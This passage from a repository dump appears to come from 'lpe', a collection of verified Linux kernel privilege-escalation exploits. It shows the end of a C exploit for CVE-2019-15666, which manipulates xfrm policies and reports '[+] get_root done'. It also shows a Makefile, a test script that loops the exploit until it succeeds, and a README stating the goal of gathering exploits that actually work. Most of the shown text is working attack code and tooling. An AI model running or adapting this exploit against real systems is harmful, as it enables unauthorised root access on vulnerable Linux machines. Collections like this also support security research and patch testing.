perror("unshare"); 832 | exit(-1); 833 | } 834 | 835 | sleep(2); 836 | sem_post(&shmaddr[0]); 837 | sleep(2); 838 | 839 | __xfrm_add_policy0(); 840 | 841 | close(pipedes1[0]); 842 | close(pipedes1[1]); 843 | 844 | sleep(1); 845 | __xfrm_add_policy1(); 846 | __xfrm_hash_rebuild(); 847 | sleep(1); /* wait for xfrm_hash_rebuild() finish */ 848 | 849 | __xfrm_flush_policy0(); 850 | 851 | close(pipedes0[0]); 852 | close(pipedes0[1]); 853 | 854 | int status = -1; 855 | for (int i = 0; i < SUBP_MAX; i++) { 856 | waitpid(pid[i], &stat_loc, 0); 857 | if (WEXITSTATUS(stat_loc) == 1) { 858 | status = 0; 859 | } else if (WEXITSTATUS(stat_loc) == 2) { 860 | if (status) 861 | status = -2; 862 | } 863 | } 864 | shmctl(shmid, 0, 0); 865 | shmdt(shmaddr); 866 | if (status == -1) { 867 | fprintf(stderr, "[-] failed\n"); 868 | } else if (!status) { 869 | fprintf(stderr, "[+] get_root done\n"); 870 | } 871 | sleep(2); 872 | exit(status); 873 | } 874 | -------------------------------------------------------------------------------- /CVE-2019-15666/Makefile: -------------------------------------------------------------------------------- 1 | TARGET := CVE-2019-15666 2 | 3 | all: 4 | gcc CVE-2019-15666.c -o $(TARGET) -lpthread 5 | cp test.sh $(TARGET)_test 6 | 7 | clean: 8 | rm -f $(TARGET) $(TARGET)_test 9 | -------------------------------------------------------------------------------- /CVE-2019-15666/test.sh: -------------------------------------------------------------------------------- 1 | #!/bin/sh 2 | while [ 1 ]; do 3 | $1 && break 4 | done 5 | sudo touch $2 6 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | [![Build Status](https://travis-ci.com/jollheef/lpe.svg?token=zicz46m8NFxnviUYXSnx&branch=master)](https://travis-ci.com/jollheef/lpe) 2 | [![Donate](https://img.shields.io/badge/donate-paypal-green.svg)](https://www.paypal.com/cgi-bin/webscr?cmd=_s-xclick&hosted_button_id=R8W2UQPZ5X5JE&source=url) 3 | [![Donate](https://img.shields.io/badge/donate-bitcoin-green.svg)](https://blockchair.com/bitcoin/address/bc1q23fyuq7kmngrgqgp6yq9hk8a5q460f39m8nv87) 4 | 5 | # lpe 6 | 7 | *lpe* is a collection of verified Linux kernel exploits. 8 | 9 | *lpe* is based on the tool [out-of-tree](https://out-of-tree.io/) ([documentation](https://out-of-tree.readthedocs.io/)) and allows collaborative work on Linux kernel exploits without too much complexity. 10 | 11 | The end goal is to collect all public exploits that **actually work**. 12 | --------------------------------------------------------------------------------